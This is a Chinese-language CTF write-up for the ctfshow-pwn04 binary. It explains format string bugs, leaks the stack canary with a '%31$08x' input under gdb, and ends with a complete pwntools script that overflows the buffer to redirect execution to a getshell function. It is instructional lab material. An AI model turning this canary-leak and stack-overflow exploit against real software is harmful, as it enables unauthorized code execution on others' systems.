格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数
这里我们了解一下格式化字符串的格式,其基本格式如下
%[parameter][flags][field width][.precision][length]type
每一种 pattern 的含义请具体参考维基百科的格式化字符串 。以下几个 pattern 中的对应选择需要重点关注
%
‘字面值,不接受任何 flags, width。格式化字符串漏洞的原理也是程序编写者编写不规范造成的。
还是用上面那个例子
如果printf语句写成这样:
printf("Color %s, Number %d, Float %4.2f");
此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为
对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。
题目附件下载(ctfshow-pwn04)
按照国际惯例,先查看文件信息
$ file ex2
$ checksec ex2
32位程序,开启了canary和nx保护
运行一下程序,看看程序的大概流程
程序获取我们两次输入,并且将我们的输入打印出来,还会显示一些奇奇怪怪的东西
将程序扔到ida pro里分析
main()函数调用了vuln()函数,很明显的提示,漏洞就在这里,我们继续分析vuln()函数
我们看到程序使用了for循环,循环两次,每次执行read()和print()函数,read函数这里很明显的溢出,但是程序开启了canary保护,我们溢出必然会覆盖canary的值,导致程序中断。
不过程序使用print()函数来进行输出,并且存在格式化字符串漏洞,因此,我们可以通过利用格式化字符串漏洞来泄露出canary的值。
首先,我们先用gdb来调试程序
$ gdb ./ex2
先反编译一下vuln()函数
gdb-peda$ disass vuln
我们可以看到print()函数的地址,对这个地址下断点,然后运行程序
gdb-peda$ b * 0x08048665
gdb-peda$ run
随便输入点啥,并敲回车,程序执行到断点
我们看刚刚反编译的vuln()函数
这个ebp-0xc就是canary的位置
我们查看一下canary的值
gdb-peda$ p $ebp-0xc
gdb-peda$ x $ebp-0xc
我们看到canary的值为0xbb1ee600
这里我们查看一下栈空间
gdb-peda$ stack 0x28
这里圈出的就是我们canary的值,我们从上往下数,数到canary是32,考虑到我们还要输入格式化字符串来泄露canary,所以到canary是31
我们从头再来测试一下,我们还是在print()函数下断点,这回我们输入
gdb-peda$ %31$08x
然后程序会断下来,我们输入ni继续单步执行一次,然后查看返回的值和canary的值是否一致
这里我们泄露出的canary值为5a0baf00
查看栈空间
此时我们已经成功泄露canary的值
那么接下来就是要考虑怎么写exp了
程序给我们两次输入,我们利用第一次输入来泄露canary的值,利用第二次输入来进行栈溢出,程序中还内置了getshell函数,我们需要将返回地址覆盖成getshell函数的地址。
那么现在的问题是如何利用第二次输入来进行栈溢出
我们还是利用gdb来进行调试,在print()函数位置下断点,第一次输入随便输入点什么,然后ni一直下一步,直到第二次输入时,我们输入一些有规律的字符,如:ABCD234
当程序运行到这里时,是第二次输入的位置,我们ni单步走一下,就可以输入字符串了,输入abcd1234后,查看栈空间
我们看图,第一个红框是我们输入的字符串位置,第二个红框是canary的值,第三个红框是返回地址,那么现在思路就比较直观了
我们从输入字符串位置到canary一共是25*4个字节,canary和返回地址中间还有3*4个字节
也就是说我们的payload可以写成
payload = 'a' * 25 * 4
payload += p32(canary)
payload += 'a' * 3 * 4
payload += p32(getshell_addr)
from pwn import *
r = process('./ex2')
get_canary = '%31$08x'
r.sendline(get_canary)
r.recvline()
canary_tmp = r.recvline()
canary = int('0x' + canary_tmp,16)
payload = 'a' * 4 * 25
payload += p32(canary)
payload += 'a' * 4 * 3
payload += p32(0x0804859b)
sleep(1)
r.sendline(payload)
r.interactive()